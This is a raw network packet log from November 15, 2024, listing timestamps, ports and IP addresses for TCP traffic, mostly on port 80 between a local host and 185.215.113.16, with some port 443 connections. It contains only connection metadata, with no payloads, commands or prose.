Nov 15, 2024 13:18:30.214679003 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214694977 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214696884 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214747906 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214751005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214764118 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214802027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214816093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214832067 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214849949 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214875937 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.214899063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214911938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.214939117 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215019941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215034008 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215068102 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215157032 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215187073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215202093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215218067 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215250015 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215255022 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215277910 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215291023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215331078 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215399027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215423107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215437889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215478897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215508938 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215522051 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215671062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215686083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215701103 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215728045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215751886 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215760946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215775967 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215790033 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215811014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.215817928 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215843916 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.215848923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216010094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216053009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216068029 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216098070 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.216125965 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.216144085 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216157913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216187000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216202974 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.216252089 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216267109 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216324091 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.216357946 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216382027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216396093 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.216434956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.216434956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.250587940 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.256764889 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.256792068 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.256809950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.256836891 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.274405956 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.283121109 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.288639069 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.288712978 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.288793087 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.289020061 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.289046049 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.289060116 CET	49764	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.289067984 CET	443	49764	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.298227072 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.298259020 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.298335075 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.298669100 CET	49769	443	192.168.2.7	13.107.246.45
Nov 15, 2024 13:18:30.298682928 CET	443	49769	13.107.246.45	192.168.2.7
Nov 15, 2024 13:18:30.305231094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305260897 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305278063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305295944 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305309057 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305351973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305351973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305361032 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305361032 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305388927 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305411100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305429935 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305501938 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305521011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305536985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305555105 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305588007 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305718899 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305804014 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305823088 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305838108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.305862904 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305886984 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.305903912 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306003094 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306016922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306032896 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306047916 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.306050062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306076050 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.306124926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306142092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306158066 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306174994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306183100 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.306194067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306206942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.306235075 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.306267023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306282997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306302071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.306329966 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.336612940 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.336632013 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.336647987 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.336668968 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.336707115 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337136984 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337163925 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337177992 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337199926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337228060 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337250948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337486982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337501049 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337526083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337543011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337543011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337577105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337584019 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337611914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337626934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337663889 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337713957 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337727070 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337779999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337790012 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337816000 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337831020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337861061 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337877989 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.337899923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337955952 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.337971926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338012934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338012934 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338054895 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338123083 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338171005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338186026 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338212967 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338270903 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338294983 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338313103 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338335991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338362932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338402033 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338432074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338449955 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338491917 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338531971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338584900 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338587999 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338603973 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338639021 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338645935 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338661909 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338721037 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338820934 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338836908 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338850975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338886976 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338943005 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338979959 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.338985920 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.338994980 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339059114 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339060068 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.339077950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339140892 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.339229107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339255095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339270115 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339318991 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.339359045 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339401960 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.339415073 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339431047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339449883 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339466095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.339490891 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.339519978 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.379535913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.379554987 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.379579067 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.379595041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.379606962 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.379611015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.379650116 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428349018 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428450108 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428467035 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428478956 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428492069 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428529024 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428575039 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428796053 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428807974 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428818941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428854942 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428867102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428879023 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428889990 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428901911 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428910971 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428913116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428925991 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.428930044 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.428961992 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430319071 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430331945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430344105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430357933 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430370092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430381060 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430394888 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430394888 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430408001 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430419922 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430432081 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430432081 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430444002 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430454016 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430455923 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430466890 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430469036 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430480957 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430491924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430493116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430505991 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.430521011 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.430537939 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.459759951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.459794998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.459808111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.459826946 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.459933996 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.460359097 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460387945 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460400105 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460470915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.460674047 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460714102 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460720062 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460741043 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.460781097 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.460794926 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460808039 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460819006 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460846901 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.460906982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460917950 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460928917 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.460947037 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461003065 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461033106 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461065054 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461076021 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461123943 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461137056 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461206913 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461219072 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461237907 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461256027 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461283922 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461388111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461450100 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461466074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461479902 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461479902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461493015 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461519003 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461524963 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461543083 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461560011 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461571932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461591959 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461761951 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461774111 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461786985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461793900 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461798906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461813927 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461884975 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461916924 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.461951971 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.461957932 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462007999 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462038994 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462052107 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462063074 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462076902 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462095976 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462153912 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462160110 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462172985 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462184906 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462210894 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462250948 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462486982 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462500095 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462515116 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462568998 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462596893 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462620020 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462631941 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462646961 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462671041 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462682009 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.462687969 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.462795973 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.502639055 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.502665997 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.502680063 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.502737045 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.502765894 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.502780914 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.502991915 CET	49734	80	192.168.2.7	185.215.113.16
Nov 15, 2024 13:18:30.551613092 CET	80	49734	185.215.113.16	192.168.2.7
Nov 15, 2024 13:18:30.551645041 CET	80	49734	185.215.113.16	192.168.2.7
